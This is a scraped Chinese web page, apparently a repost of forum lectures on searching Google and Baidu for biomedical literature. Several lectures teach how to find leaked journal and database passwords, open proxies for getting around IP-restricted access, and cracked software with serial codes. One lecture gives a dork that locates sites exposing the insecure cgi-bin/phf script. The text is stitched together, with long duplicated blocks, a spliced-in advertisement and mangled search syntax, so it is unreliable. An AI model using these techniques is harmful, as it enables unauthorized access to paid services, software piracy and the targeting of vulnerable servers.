... 0211/Chapter209.ppt這時(shí)我只是對最后面的"209"進(jìn)行簡(jiǎn)單的更改為"201-220"就可以得到這本書(shū)完整的ppt文件。還有的最后面是出現字母,可對相應的字母進(jìn)行修改即可,最難的是要對文件名進(jìn)行修改,這就需要比較扎實(shí)的專(zhuān)業(yè)基礎。
3、不要瞧不起中文藝工作者網(wǎng)站。以英文作為關(guān)鍵詞進(jìn)行搜索時(shí)英文網(wǎng)站總是出現在最前面,而等看到中文網(wǎng)站時(shí)都已經(jīng)失去了耐心,我們有時(shí)候可搜索中文網(wǎng)站,往往會(huì )得到很多意想不到的東西。特別是我們隔岸相往的同胞做的ppt也是相當的漂亮!
4、放寬檢索范圍。
5、我們最后要解決的是下載問(wèn)題。很網(wǎng)站提供很多下載鏈接,下載速度一般只有3、5kb, 最糟的只有幾百字節。而一般的網(wǎng)頁(yè)只能同時(shí)對兩個(gè)文件進(jìn)行下載。解決的方法是重新打開(kāi)IE然后在新的窗口打開(kāi)鏈接,有一次我同時(shí)打開(kāi)十幾個(gè)窗口進(jìn)行下載,很快就把所有的內容下載下來(lái)。這種下載方法要慎用,這很容易造成對網(wǎng)站的惡意下載。
6、很多網(wǎng)站提供ppt下載的時(shí)候也同時(shí)提供動(dòng)畫(huà)在線(xiàn)觀(guān),看著(zhù)這么多的漂亮東東卻無(wú)法下載。不是很可惜嗎?有關(guān)這方面的內容wfj2000在其它帖子已提到過(guò)我就不說(shuō)了。
懇請各位高手對我提出寶貴意見(jiàn)。
四、Bioon全心奉獻的系列檢索講座
注意:本講座中的方法適用于生物與醫學(xué)的免費全文的文獻檢索,以及網(wǎng)上各種有用的資料的搜索(幻燈片,各種講座資料,電子書(shū)等),通過(guò)使用這些技巧并與著(zhù)名搜索引擎google(,中文的多使用百度配合使用,以下所有內容都是基于這兩個(gè)搜索引擎講解的,更多的講座見(jiàn)論壇中檢索技巧版( )
第一講:關(guān)鍵詞的選擇技巧.
推薦先讀讀google從入門(mén)到精通等論文(請注冊后再登錄)
( ... ;ID=2997&skin=1)
我們了解常規搜索方式,但每個(gè)人都會(huì )搜索出不同結果,為什么?核心問(wèn)題在于關(guān)鍵詞選擇不同。
關(guān)鍵的分析必須保證兩點(diǎn):
一是專(zhuān)業(yè)性,即這個(gè)詞是很精的,可能簡(jiǎn)化你的搜索結果,因而詞甚至可以怪一點(diǎn),盡量避免大眾化的詞,如net,site等。即使需要大眾化詞,如password,username,但若加入一兩個(gè)特征詞,則結果將大大簡(jiǎn)化。
二是具有代表性,也即這個(gè)詞具有代表意義,也即它在包含你所需網(wǎng)頁(yè)內,它在出現的可能,以免一些有用信息被遺漏。
如何達到上述兩個(gè)要求?我們必須分析網(wǎng)頁(yè)中字詞出現的特點(diǎn),以及本學(xué)科專(zhuān)業(yè)詞匯特征。
大家看看yahoo,google等medicine和science--biology條目下的分類(lèi),發(fā)現許多相關(guān)的詞均在內,如
醫學(xué)有關(guān)的都在Science & Technology 大條目下,又細分為:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果僅以medicine檢索,就會(huì )漏掉不少很有價(jià)值的信息,特別是漏掉的專(zhuān)業(yè)的。
其次,在medicine下又有很多數據庫,如:EBSCO OVID,PROQUEST還有各大出版社自己的萬(wàn)能密碼。
大家應該明白一些了吧。
第二講:主要講定點(diǎn)搜索和遍搜索的區別及應用。
所謂定點(diǎn)搜索,即指定找某個(gè)數據庫相關(guān)信息,或某篇論文。
遍搜索是指在網(wǎng)上任意逛逛,找些pswd,或者無(wú)心插柳柳成蔭。
(1)定點(diǎn)數據庫和期刊搜索。還是同第一講一樣,主要分析關(guān)鍵詞的選擇。當然關(guān)鍵詞之一是這個(gè)數據庫的名稱(chēng)。大家注意了:數據庫名稱(chēng)一定要用全稱(chēng)和簡(jiǎn)稱(chēng)都試試。
關(guān)鍵詞之二是free,ID,password,user name。
為什么這個(gè)關(guān)鍵詞?其實(shí)這些只能稱(chēng)作是一個(gè)關(guān)鍵詞,因為它們具有同性或不相容性。如elservier數據庫,你最好不要用username和password,因為它主要是采用IP限制的。因而你的重點(diǎn)放在pxory!而不是上述的任何一個(gè)。而找某一雜志,則多用user name 和ID/pas
sword合用(注:ID/password只可用一個(gè)!),因為雜志往往個(gè)人購買(mǎi),便擁有帳號了。
關(guān)鍵詞三:這些數據庫可能出現的地方?大學(xué)圖書(shū)館最多!即使是雜志,圖書(shū)館也較個(gè)人帳號多。那么圖書(shū)館主頁(yè)上有哪些關(guān)鍵詞?library,database,trial,free....,可看看國內一些圖書(shū)館的主頁(yè),仔細分析比較,便能找到一些共性的東西。
(2)定點(diǎn)論文搜索。
論文,在國外通用PDF格式,因而論文搜索必須用PDF這個(gè)核心內容。即找后綴為PDF的東東,語(yǔ)法:filetype DF 這是關(guān)鍵之一
關(guān)鍵詞之二:找你所需論文的題或文摘中最怪的詞!而不是常用詞。(不要用很專(zhuān)業(yè)的詞往往能找到相近的論文,所謂無(wú)心插柳了)
命中率高,但最好是題目中出現的詞,為什么?因為往往許多個(gè)人站點(diǎn)收錄了不少論文,而這些論文往往是以題目名稱(chēng)作為索引的。
第三講 實(shí)戰演習-----專(zhuān)業(yè)文獻搜索技巧。
專(zhuān)業(yè)文獻與普通文獻不同,很難查到。這是本人長(cháng)期搜索的技巧,十分有效,查專(zhuān)業(yè)文獻實(shí)在好!
1. 查找某本專(zhuān)業(yè)刊物的登錄密碼,如Brain Res
首先選關(guān)鍵詞:雜志名(Brain Res),登錄(sign in),密碼(password)
這樣成功率并不高,其實(shí)細細看來(lái),不應有登錄,因為許多提供密碼的地方,并不出現登錄這個(gè)詞,而多出現用戶(hù)名(user name),而且雜志名多用全稱(chēng)(brain research),再試試
!哦,成功了!
2. 查找某篇論文的全文,尤其是外文文獻,許多全文服務(wù)均需收費。
當然可先按第一種方法搜索一下,看看有無(wú)密碼可尋,若無(wú),則找到該篇論文的特殊字段(key words),然后搜索PDF文件。不過(guò)這有幾個(gè)條件,一是該雜志確已上網(wǎng),有明確地址 ,其二,一般需在1997年以后文獻才可。
舉例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
這篇論文是收費的。采用:inurldf:Gattullo Pagliaro coronary,結果24項,找到其中的第2頁(yè),有下面一項Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 網(wǎng)頁(yè)快照 - 類(lèi)似網(wǎng)頁(yè)
打開(kāi)網(wǎng)頁(yè)快照,第一篇即是其目錄,下載即可!OK!成功
3. 查找專(zhuān)業(yè)軟件的破解軟件或注冊碼
常規軟件的注冊碼很好找,但專(zhuān)業(yè)軟件太少,而且注冊碼也少,破解更少,如何找?
如找origin 6.1版的破解版,或注冊碼。不管采用網(wǎng)易、搜狐等軟件搜索,均找不到該軟件。那么只好借用特殊搜索了。
分析:一般有些破解軟件的頁(yè)面一般至少有以下一些信息:軟件名稱(chēng),版本,序列號(serial number, OR sn),破解(crack, OR CRK),提供下載的地方有.ZIP字樣(壓縮文件為多
)。為了方便起見(jiàn),也防止版本太精確反而不易搜索的特點(diǎn),在googlek 輸入origin 破解, 哦!OK!成功!如果其它的軟件一次搜索的結果太多的話(huà),則考慮加6.1以減小其搜索范圍?;蛩阉鹘Y果太少且不是需要的話(huà),將破解換為"注冊碼"試試,一般效果不錯。
4. 查找中文文獻的免費全文如我知道重慶維普提供免費全文服務(wù),但目前許多站點(diǎn)都不能用了。另外,還有萬(wàn)方數據庫、CNKI也提供,那么我如何查到這些數據庫的免費入口呢?
這需要一定的技巧,采用google或百度試試:輸入:重慶維普 密碼哦!66項!仔細找一找,必有結果!OK!
第四講 百度與google比較 。
大家好,這一講講百度與google比較
搜索英文不必說(shuō)用google,搜索中文呢?
很多人并不了解它們更新的情況,google發(fā)展早,因而它貯存了大量舊的信息,百度發(fā)展遲,信息較新。
更新速度:對中文google一般半月至一月一更新,而且僅搜索到三級鏈接,三級以下便不在搜索,那么我如何看到最新的google搜索的結果呢?這個(gè)站點(diǎn):,可見(jiàn)google采用不同服務(wù)器逐步更新的。百度的更新較快,半月一次,最快一周。那么如何衡梁這半月與一月的差劇與價(jià)值?
對于一些試用數據庫,有效期短,或象萬(wàn)方等一月一換密碼,最好選用百度,現在維普老是打一槍換一個(gè)地方,因而也只好用百度了,google往往搜索出來(lái)的結果已過(guò)期了。而能長(cháng)期使用的密碼或數據庫,一般象國外的(國內有沒(méi)有,我真不知道),最好用google,
畢竟技術(shù)更老道一些,搜索出的結果更多,更廣!
第五講 補充講一點(diǎn)關(guān)鍵詞的選擇。
關(guān)于關(guān)鍵詞,最近看到高手huangwei98 公布的一些關(guān)鍵詞,很值得參考。但總之一句話(huà),
高手=技巧+時(shí)間,有時(shí)多看看,往往獲得其它的密碼,這是太正常的事了。
關(guān)鍵詞組合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母樣!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是數據庫+password+補充性關(guān)鍵詞(或稱(chēng)定向性關(guān)鍵詞)
所謂定向性關(guān)鍵詞是將你的檢索范圍定于某一可能的區域,如圖書(shū)館、個(gè)人站點(diǎn),以縮小檢索范圍。如單個(gè)雜志,可定位于個(gè)人,若是數據庫檢索,則宜加library,因為個(gè)人是不會(huì )買(mǎi)數據庫的。同時(shí)另一個(gè)定向是生物和醫學(xué),所用的關(guān)鍵詞medicine,biology,biomed.
當然仍可加第三定向關(guān)鍵詞,如雜志(journal)、免費(free)、在線(xiàn)(online),但一定要注意第三關(guān)鍵詞的特征性不強,要選擇使用,不可過(guò)用,否則會(huì )將一大批可能有用的站點(diǎn)排除掉,切記!
但這主要針對國外的,而國內的一般多在各大學(xué)圖書(shū)館內,常用密碼、免費、雜志、數據庫名等搜索,效果較好。
但對于有些雜志,如sciencedirect,Ideallibrary多采用IP驗證方式,一般密碼并不能用,這時(shí)多采用代理服務(wù)器方式,因而如何找到有效的代理太重要的。如清華的elsevier便是代理。下下一講講如何找代理。
第六講 關(guān)鍵詞聯(lián)合使用。
國內圖書(shū)館提到數據庫往往只提***數據庫,而國外圖書(shū)館多列出該數據庫內各種雜志名,而且多按字母分類(lèi)。因而為了提高檢索的準確率,一般將同一數據庫內的雜志的首字母相同的雜志名用兩到三個(gè)聯(lián)合搜索,再結合前面講的加用其它關(guān)鍵詞,能有效縮小檢索范圍
,翕中率極高。從這里可以看到,如果透徹分析一些圖書(shū)館內主頁(yè)設計的特征,是搜索的關(guān)鍵。
如檢索brain research,可列出brain research bulltin,同時(shí)檢索,效果要好些。
第七講 搜索公開(kāi)的代理服務(wù)器技巧。
中文:
代理 維普(或其它數據庫名) 數據庫,能找到一些,但國內一般真正使用代理的較少。
英文:
proxy 數據庫名 IE netscape
效果非常好,但一定要注意,許多地方不僅用代理服務(wù)器,而且需密碼認證,不可過(guò)于樂(lè )觀(guān)!應認真鑒別。
第八講。先插幾句廢話(huà),本論壇的目的是培養真正懂得搜索技巧的人員,當然搜索技巧不只是密碼之類(lèi),還應包括檢索常用文件,pubmed等,這也是水平和本領(lǐng),切不可以找密碼為樂(lè )。我們應該培養全方位的文獻檢索能力,否則即使有密碼,也未必找到自己所需的信息,網(wǎng)海茫茫,有用者若斯!
現在進(jìn)入正題,今天講百度和google語(yǔ)法,其實(shí)這在從google入門(mén)到精通中都有所闡述這是重提,以示重視,并無(wú)太多的新意,只是將大理論與實(shí)際相結合起來(lái)。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT這些文件名都是網(wǎng)友想找的重點(diǎn),至于各是什么類(lèi)型文件,請上網(wǎng)查一下便知道了,這里不多說(shuō)了。尤其老板讓你做個(gè)powerpoint,找不到圖怎么辦?用google去搜索。
方法是利用語(yǔ)法filetype:后綴名。
如找PDF文件,在正常關(guān)鍵詞后面加filetype DF即可,搜索結果全是PDF文件。這是我寫(xiě)的另一篇,可參考:
... p;ID=839&page=1
找特定題目的網(wǎng)頁(yè)語(yǔ)法intitle:網(wǎng)站
查找友情鏈接:
"link:"(英文單字link后加冒號)用于搜索鏈接到某個(gè)URL地址的網(wǎng)頁(yè)??梢粤私庥心男┚W(wǎng)頁(yè)把鏈接指向您的網(wǎng)頁(yè)查找特定站點(diǎn):
site:*.com
如 金庸 古龍 site:
但不可加入或/這類(lèi),否則是錯的。
"cache"用來(lái)搜索GOOGLE服務(wù)器上某頁(yè)面的緩存,通常用于查找某些已經(jīng)被刪除的死鏈接網(wǎng)頁(yè),相當于使用普通搜索結果頁(yè)面中的"網(wǎng)頁(yè)快照"功能。
示例:查找GOOGLE緩存的中文yahoo首頁(yè)
搜索:"cache:"
info用來(lái)顯示與某鏈接相關(guān)的一系列搜索,提供cache、link、related和完全包含該鏈接的網(wǎng)頁(yè)的功能。
示例:查找和新浪首頁(yè)相關(guān)的一些資訊。
搜索:"info:"
結果:有的網(wǎng)頁(yè)信息。
示例:查找美國教育網(wǎng)上的宇宙大爆炸jpg圖片
搜索:"BIG BANG filetype:jpg site:edu"
結果:搜索有關(guān) BIG BANG filetype:jpg site:edu 的圖片
第九講,專(zhuān)講一個(gè)特殊語(yǔ)法,很有用:inurl。
"inurl"語(yǔ)法返回的網(wǎng)頁(yè)鏈接中包含第一個(gè)關(guān)鍵字,后面的關(guān)鍵字則出現在鏈接中或者網(wǎng)頁(yè)文檔中。有很多網(wǎng)站把某一類(lèi)具有相同屬性的資源名稱(chēng)顯示在目錄名稱(chēng)或者網(wǎng)頁(yè)名稱(chēng)中,比如"MP3"、"GALLARY"等,于是,就可以用INURL語(yǔ)法找到這些相關(guān)資源鏈接,然后
,用第二個(gè)關(guān)鍵詞確定是否有某項具體資料。INURL語(yǔ)法和基本搜索語(yǔ)法的最大區別在于,前者通常能提供非常精確的專(zhuān)題資料。
示例:查找MIDI曲"滄海一聲笑"。
搜索:"inurl:midi 滄海一聲笑"
結果:已搜索有關(guān)inurl:midi 滄海一聲笑的中文(簡(jiǎn)體)網(wǎng)頁(yè)。
示例:查找微軟網(wǎng)站上關(guān)于windows2000的安全課題資料。
搜索:"inurl:security windows2000 site:"
結果:已在內搜索有關(guān)inurlecurity windows2000 的網(wǎng)頁(yè)。
注意:"inurl:"后面不能有空格,GOOGLE也不對URL符號如"/"進(jìn)行搜索。例如,GOOGLE會(huì )把"cgi-bin/phf"中的"/"當成空格處理。
而一般眾多密碼或數據庫往往出現在鏈接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"語(yǔ)法返回的網(wǎng)頁(yè)的鏈接中包含所有作用關(guān)鍵字。這個(gè)查詢(xún)的關(guān)鍵字只集中于網(wǎng)頁(yè)的鏈接字符串。
示例:查找可能具有PHF安全漏洞的公司網(wǎng)站。通常這些網(wǎng)站的CGI-BIN目錄中含有PHF腳本程序(這個(gè)腳本是不安全的),表現在鏈接中就是"域名/cgi-bin/phf"。
語(yǔ)法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特網(wǎng)搜索allinurl:"cgi-bin" phf +com. 共約有37項查詢(xún)結果,這是第1-10項 。搜索用時(shí)0.36秒
補充講site語(yǔ)法
site即將搜索定位于某一個(gè)域名上,有利于縮小搜索范圍,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大學(xué)內有用的資源,至于關(guān)鍵詞的選擇,其它講都有了。
site:tw, site:edu.tw, site: .......
這是定位于國家或地區,將搜索局限于某些國家或地區,或加上edu,則是這些國家或地區的大學(xué),效果自然更好。如果site:則搜索國內醫科大學(xué)內的資源(會(huì )漏綜合性大學(xué)的資源的,要慎用)。
一般的,歐美人的版權意識強,一般密碼不易公布,相反,非洲、美洲、亞洲則往往公開(kāi)密碼,這是獲得密碼的最重要來(lái)源之一,善于利用這些地方的資源有助于提高搜索效率。這是site兩大好處,不可忽視!
也許您正為文章煩惱,一篇論文完成耗時(shí)數月,而在發(fā)表時(shí)卻是坎坷萬(wàn)千。
我們提供以下指導和服務(wù):
評估服務(wù)、翻譯、潤色服務(wù)、文章綜合編輯服務(wù)、SCI論文降重、文章校對等SCI論文服務(wù)。
識別二維碼即可咨詢(xún)
尚輯Sagesci ● SCI論文服務(wù)品牌
查看全部
你想要的文獻搜索方法都在這里
2、很時(shí)候我們可以下載下來(lái),但以上面說(shuō)的那種方法進(jìn)行回推時(shí),常常會(huì )出現"Forbidden"的頁(yè)面,這是很多網(wǎng)站都存在的bug。
要解決個(gè)問(wèn)題就需要利用這個(gè)bug和靠你對所查找的內容比較熟悉。就舉一個(gè)簡(jiǎn)單的例子:google里檢索"molecular biology of the gene"時(shí)
... 0211/Chapter209.ppt這時(shí)我只是對最后面的"209"進(jìn)行簡(jiǎn)單的更改為"201-220"就可以得到這本書(shū)完整的ppt文件。還有的最后面是出現字母,可對相應的字母進(jìn)行修改即可,最難的是要對文件名進(jìn)行修改,這就需要比較扎實(shí)的專(zhuān)業(yè)基礎。
3、不要瞧不起中文藝工作者網(wǎng)站。以英文作為關(guān)鍵詞進(jìn)行搜索時(shí)英文網(wǎng)站總是出現在最前面,而等看到中文網(wǎng)站時(shí)都已經(jīng)失去了耐心,我們有時(shí)候可搜索中文網(wǎng)站,往往會(huì )得到很多意想不到的東西。特別是我們隔岸相往的同胞做的ppt也是相當的漂亮!
4、放寬檢索范圍。
5、我們最后要解決的是下載問(wèn)題。很網(wǎng)站提供很多下載鏈接,下載速度一般只有3、5kb, 最糟的只有幾百字節。而一般的網(wǎng)頁(yè)只能同時(shí)對兩個(gè)文件進(jìn)行下載。解決的方法是重新打開(kāi)IE然后在新的窗口打開(kāi)鏈接,有一次我同時(shí)打開(kāi)十幾個(gè)窗口進(jìn)行下載,很快就把所有的內容下載下來(lái)。這種下載方法要慎用,這很容易造成對網(wǎng)站的惡意下載。
6、很多網(wǎng)站提供ppt下載的時(shí)候也同時(shí)提供動(dòng)畫(huà)在線(xiàn)觀(guān),看著(zhù)這么多的漂亮東東卻無(wú)法下載。不是很可惜嗎?有關(guān)這方面的內容wfj2000在其它帖子已提到過(guò)我就不說(shuō)了。
懇請各位高手對我提出寶貴意見(jiàn)。
四、Bioon全心奉獻的系列檢索講座
注意:本講座中的方法適用于生物與醫學(xué)的免費全文的文獻檢索,以及網(wǎng)上各種有用的資料的搜索(幻燈片,各種講座資料,電子書(shū)等),通過(guò)使用這些技巧并與著(zhù)名搜索引擎google(,中文的多使用百度配合使用,以下所有內容都是基于這兩個(gè)搜索引擎講解的,更多的講座見(jiàn)論壇中檢索技巧版( )
第一講:關(guān)鍵詞的選擇技巧.
推薦先讀讀google從入門(mén)到精通等論文(請注冊后再登錄)
( ... ;ID=2997&skin=1)
我們了解常規搜索方式,但每個(gè)人都會(huì )搜索出不同結果,為什么?核心問(wèn)題在于關(guān)鍵詞選擇不同。
關(guān)鍵的分析必須保證兩點(diǎn):
一是專(zhuān)業(yè)性,即這個(gè)詞是很精的,可能簡(jiǎn)化你的搜索結果,因而詞甚至可以怪一點(diǎn),盡量避免大眾化的詞,如net,site等。即使需要大眾化詞,如password,username,但若加入一兩個(gè)特征詞,則結果將大大簡(jiǎn)化。
二是具有代表性,也即這個(gè)詞具有代表意義,也即它在包含你所需網(wǎng)頁(yè)內,它在出現的可能,以免一些有用信息被遺漏。
如何達到上述兩個(gè)要求?我們必須分析網(wǎng)頁(yè)中字詞出現的特點(diǎn),以及本學(xué)科專(zhuān)業(yè)詞匯特征。
大家看看yahoo,google等medicine和science--biology條目下的分類(lèi),發(fā)現許多相關(guān)的詞均在內,如
醫學(xué)有關(guān)的都在Science & Technology 大條目下,又細分為:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果僅以medicine檢索,就會(huì )漏掉不少很有價(jià)值的信息,特別是漏掉的專(zhuān)業(yè)的。
其次,在medicine下又有很多數據庫,如:EBSCO OVID,PROQUEST還有各大出版社自己的萬(wàn)能密碼。
大家應該明白一些了吧。
第二講:主要講定點(diǎn)搜索和遍搜索的區別及應用。
所謂定點(diǎn)搜索,即指定找某個(gè)數據庫相關(guān)信息,或某篇論文。
遍搜索是指在網(wǎng)上任意逛逛,找些pswd,或者無(wú)心插柳柳成蔭。
(1)定點(diǎn)數據庫和期刊搜索。還是同第一講一樣,主要分析關(guān)鍵詞的選擇。當然關(guān)鍵詞之一是這個(gè)數據庫的名稱(chēng)。大家注意了:數據庫名稱(chēng)一定要用全稱(chēng)和簡(jiǎn)稱(chēng)都試試。
關(guān)鍵詞之二是free,ID,password,user name。
為什么這個(gè)關(guān)鍵詞?其實(shí)這些只能稱(chēng)作是一個(gè)關(guān)鍵詞,因為它們具有同性或不相容性。如elservier數據庫,你最好不要用username和password,因為它主要是采用IP限制的。因而你的重點(diǎn)放在pxory!而不是上述的任何一個(gè)。而找某一雜志,則多用user name 和ID/pas
sword合用(注:ID/password只可用一個(gè)!),因為雜志往往個(gè)人購買(mǎi),便擁有帳號了。
關(guān)鍵詞三:這些數據庫可能出現的地方?大學(xué)圖書(shū)館最多!即使是雜志,圖書(shū)館也較個(gè)人帳號多。那么圖書(shū)館主頁(yè)上有哪些關(guān)鍵詞?library,database,trial,free....,可看看國內一些圖書(shū)館的主頁(yè),仔細分析比較,便能找到一些共性的東西。
(2)定點(diǎn)論文搜索。
論文,在國外通用PDF格式,因而論文搜索必須用PDF這個(gè)核心內容。即找后綴為PDF的東東,語(yǔ)法:filetype DF 這是關(guān)鍵之一
關(guān)鍵詞之二:找你所需論文的題或文摘中最怪的詞!而不是常用詞。(不要用很專(zhuān)業(yè)的詞往往能找到相近的論文,所謂無(wú)心插柳了)
命中率高,但最好是題目中出現的詞,為什么?因為往往許多個(gè)人站點(diǎn)收錄了不少論文,而這些論文往往是以題目名稱(chēng)作為索引的。
第三講 實(shí)戰演習-----專(zhuān)業(yè)文獻搜索技巧。
專(zhuān)業(yè)文獻與普通文獻不同,很難查到。這是本人長(cháng)期搜索的技巧,十分有效,查專(zhuān)業(yè)文獻實(shí)在好!
1. 查找某本專(zhuān)業(yè)刊物的登錄密碼,如Brain Res
首先選關(guān)鍵詞:雜志名(Brain Res),登錄(sign in),密碼(password)
這樣成功率并不高,其實(shí)細細看來(lái),不應有登錄,因為許多提供密碼的地方,并不出現登錄這個(gè)詞,而多出現用戶(hù)名(user name),而且雜志名多用全稱(chēng)(brain research),再試試
!哦,成功了!
2. 查找某篇論文的全文,尤其是外文文獻,許多全文服務(wù)均需收費。
當然可先按第一種方法搜索一下,看看有無(wú)密碼可尋,若無(wú),則找到該篇論文的特殊字段(key words),然后搜索PDF文件。不過(guò)這有幾個(gè)條件,一是該雜志確已上網(wǎng),有明確地址 ,其二,一般需在1997年以后文獻才可。
舉例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
這篇論文是收費的。采用:inurldf:Gattullo Pagliaro coronary,結果24項,找到其中的第2頁(yè),有下面一項Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 網(wǎng)頁(yè)快照 - 類(lèi)似網(wǎng)頁(yè)
打開(kāi)網(wǎng)頁(yè)快照,第一篇即是其目錄,下載即可!OK!成功
3. 查找專(zhuān)業(yè)軟件的破解軟件或注冊碼
常規軟件的注冊碼很好找,但專(zhuān)業(yè)軟件太少,而且注冊碼也少,破解更少,如何找?
如找origin 6.1版的破解版,或注冊碼。不管采用網(wǎng)易、搜狐等軟件搜索,均找不到該軟件。那么只好借用特殊搜索了。
分析:一般有些破解軟件的頁(yè)面一般至少有以下一些信息:軟件名稱(chēng),版本,序列號(serial number, OR sn),破解(crack, OR CRK),提供下載的地方有.ZIP字樣(壓縮文件為多
)。為了方便起見(jiàn),也防止版本太精確反而不易搜索的特點(diǎn),在googlek 輸入origin 破解, 哦!OK!成功!如果其它的軟件一次搜索的結果太多的話(huà),則考慮加6.1以減小其搜索范圍?;蛩阉鹘Y果太少且不是需要的話(huà),將破解換為"注冊碼"試試,一般效果不錯。
4. 查找中文文獻的免費全文如我知道重慶維普提供免費全文服務(wù),但目前許多站點(diǎn)都不能用了。另外,還有萬(wàn)方數據庫、CNKI也提供,那么我如何查到這些數據庫的免費入口呢?
這需要一定的技巧,采用google或百度試試:輸入:重慶維普 密碼哦!66項!仔細找一找,必有結果!OK!
第四講 百度與google比較 。
大家好,這一講講百度與google比較
搜索英文不必說(shuō)用google,搜索中文呢?
很多人并不了解它們更新的情況,google發(fā)展早,因而它貯存了大量舊的信息,百度發(fā)展遲,信息較新。
更新速度:對中文google一般半月至一月一更新,而且僅搜索到三級鏈接,三級以下便不在搜索,那么我如何看到最新的google搜索的結果呢?這個(gè)站點(diǎn):,可見(jiàn)google采用不同服務(wù)器逐步更新的。百度的更新較快,半月一次,最快一周。那么如何衡梁這半月與一月的差劇與價(jià)值?
對于一些試用數據庫,有效期短,或象萬(wàn)方等一月一換密碼,最好選用百度,現在維普老是打一槍換一個(gè)地方,因而也只好用百度了,google往往搜索出來(lái)的結果已過(guò)期了。而能長(cháng)期使用的密碼或數據庫,一般象國外的(國內有沒(méi)有,我真不知道),最好用google,
畢竟技術(shù)更老道一些,搜索出的結果更多,更廣!
第五講 補充講一點(diǎn)關(guān)鍵詞的選擇。
關(guān)于關(guān)鍵詞,最近看到高手huangwei98 公布的一些關(guān)鍵詞,很值得參考。但總之一句話(huà),
高手=技巧+時(shí)間,有時(shí)多看看,往往獲得其它的密碼,這是太正常的事了。
關(guān)鍵詞組合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母樣!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是數據庫+password+補充性關(guān)鍵詞(或稱(chēng)定向性關(guān)鍵詞)
所謂定向性關(guān)鍵詞是將你的檢索范圍定于某一可能的區域,如圖書(shū)館、個(gè)人站點(diǎn),以縮小檢索范圍。如單個(gè)雜志,可定位于個(gè)人,若是數據庫檢索,則宜加library,因為個(gè)人是不會(huì )買(mǎi)數據庫的。同時(shí)另一個(gè)定向是生物和醫學(xué),所用的關(guān)鍵詞medicine,biology,biomed.
當然仍可加第三定向關(guān)鍵詞,如雜志(journal)、免費(free)、在線(xiàn)(online),但一定要注意第三關(guān)鍵詞的特征性不強,要選擇使用,不可過(guò)用,否則會(huì )將一大批可能有用的站點(diǎn)排除掉,切記!
但這主要針對國外的,而國內的一般多在各大學(xué)圖書(shū)館內,常用密碼、免費、雜志、數據庫名等搜索,效果較好。
但對于有些雜志,如sciencedirect,Ideallibrary多采用IP驗證方式,一般密碼并不能用,這時(shí)多采用代理服務(wù)器方式,因而如何找到有效的代理太重要的。如清華的elsevier便是代理。下下一講講如何找代理。
第六講 關(guān)鍵詞聯(lián)合使用。
國內圖書(shū)館提到數據庫往往只提***數據庫,而國外圖書(shū)館多列出該數據庫內各種雜志名,而且多按字母分類(lèi)。因而為了提高檢索的準確率,一般將同一數據庫內的雜志的首字母相同的雜志名用兩到三個(gè)聯(lián)合搜索,再結合前面講的加用其它關(guān)鍵詞,能有效縮小檢索范圍
,翕中率極高。從這里可以看到,如果透徹分析一些圖書(shū)館內主頁(yè)設計的特征,是搜索的關(guān)鍵。
如檢索brain research,可列出brain research bulltin,同時(shí)檢索,效果要好些。
第七講 搜索公開(kāi)的代理服務(wù)器技巧。
中文:
代理 維普(或其它數據庫名) 數據庫,能找到一些,但國內一般真正使用代理的較少。
英文:
proxy 數據庫名 IE netscape
效果非常好,但一定要注意,許多地方不僅用代理服務(wù)器,而且需密碼認證,不可過(guò)于樂(lè )觀(guān)!應認真鑒別。
第八講。先插幾句廢話(huà),本論壇的目的是培養真正懂得搜索技巧的人員,當然搜索技巧不只是密碼之類(lèi),還應包括檢索常用文件,pubmed等,這也是水平和本領(lǐng),切不可以找密碼為樂(lè )。我們應該培養全方位的文獻檢索能力,否則即使有密碼,也未必找到自己所需的信息,網(wǎng)海茫茫,有用者若斯!
現在進(jìn)入正題,今天講百度和google語(yǔ)法,其實(shí)這在從google入門(mén)到精通中都有所闡述這是重提,以示重視,并無(wú)太多的新意,只是將大理論與實(shí)際相結合起來(lái)。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT這些文件名都是網(wǎng)友想找的重點(diǎn),至于各是什么類(lèi)型文件,請上網(wǎng)查一下便知道了,這里不多說(shuō)了。尤其老板讓你做個(gè)powerpoint,找不到圖怎么辦?用google去搜索。
方法是利用語(yǔ)法filetype:后綴名。
如找PDF文件,在正常關(guān)鍵詞后面加filetype DF即可,搜索結果全是PDF文件。這是我寫(xiě)的另一篇,可參考:
... p;ID=839&page=1
找特定題目的網(wǎng)頁(yè)語(yǔ)法intitle:網(wǎng)站
查找友情鏈接:
"link:"(英文單字link后加冒號)用于搜索鏈接到某個(gè)URL地址的網(wǎng)頁(yè)??梢粤私庥心男┚W(wǎng)頁(yè)把鏈接指向您的網(wǎng)頁(yè)查找特定站點(diǎn):
site:*.com
如 金庸 古龍 site:
